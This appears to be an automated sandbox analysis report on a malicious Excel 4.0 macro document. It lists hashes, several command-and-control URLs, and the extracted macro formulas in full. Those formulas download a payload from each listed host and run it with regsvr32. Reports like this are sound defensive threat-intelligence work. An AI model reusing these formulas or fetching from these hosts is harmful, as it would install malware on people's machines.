General

  • Target

    6b6bd54b0689b56989327cdba497b5a89671a5e1174484abb826c23a9850de59

  • Size

    42KB

  • Sample

    240909-1w8cbasdrr

  • MD5

    0c5eb73425ec25b0a2058405c2c66c99

  • SHA1

    f46e7870c0c4647ecaef0c192559e5e9338065d0

  • SHA256

    6b6bd54b0689b56989327cdba497b5a89671a5e1174484abb826c23a9850de59

  • SHA512

    a49e9ffcc6f5c9a70845e4ae0df709eb98e854ed15da5938f4e705f117c335e1a505e0b86d918effd3bba1e83f71ae6fb2ea8e85091c49ef73d408c414863475

  • SSDEEP

    768:QCVauF9CaI01AVbl6fGeXZXjHQTV2LFHVBzcR0P+6heQ3NxUIPN:9Vas80TfJX9jwe1BwGPD1xUIl

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://www.agretto.com/Template/ziasuz5w8pS08Gm2/

http://www.agnesleung.com/raw.backup/j4ry/

https://lifebotl.com/Response/WllkQWM/

https://livejagat.com/h/SjpRvD/

http://185.187.70.35/wordpress_bo/srvoaI2MBFc/

http://188.166.245.112/sipadu/eFi8UiJETZiK1FB/

http://103.85.95.5/v1/uploads/87DtpAEZULSccOn/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.agretto.com/Template/ziasuz5w8pS08Gm2/","..\wn.ocx",0,0) =IF('KEFGK'!E7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.agnesleung.com/raw.backup/j4ry/","..\wn.ocx",0,0)) =IF('KEFGK'!E9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://lifebotl.com/Response/WllkQWM/","..\wn.ocx",0,0)) =IF('KEFGK'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://livejagat.com/h/SjpRvD/","..\wn.ocx",0,0)) =IF('KEFGK'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://185.187.70.35/wordpress_bo/srvoaI2MBFc/","..\wn.ocx",0,0)) =IF('KEFGK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://185.187.70.35/wordpress_bo/srvoaI2MBFc/","..\wn.ocx",0,0)) =IF('KEFGK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://188.166.245.112/sipadu/eFi8UiJETZiK1FB/","..\wn.ocx",0,0)) =IF('KEFGK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://103.85.95.5/v1/uploads/87DtpAEZULSccOn/","..\wn.ocx",0,0)) =IF('KEFGK'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wn.ocx") =RETURN()

Targets

    • Target

      6b6bd54b0689b56989327cdba497b5a89671a5e1174484abb826c23a9850de59

    • Size

      42KB

    • MD5

      0c5eb73425ec25b0a2058405c2c66c99

    • SHA1

      f46e7870c0c4647ecaef0c192559e5e9338065d0

    • SHA256

      6b6bd54b0689b56989327cdba497b5a89671a5e1174484abb826c23a9850de59

    • SHA512

      a49e9ffcc6f5c9a70845e4ae0df709eb98e854ed15da5938f4e705f117c335e1a505e0b86d918effd3bba1e83f71ae6fb2ea8e85091c49ef73d408c414863475

    • SSDEEP

      768:QCVauF9CaI01AVbl6fGeXZXjHQTV2LFHVBzcR0P+6heQ3NxUIPN:9Vas80TfJX9jwe1BwGPD1xUIl

    Score
    3/10

MITRE ATT&CK Enterprise v15

Tasks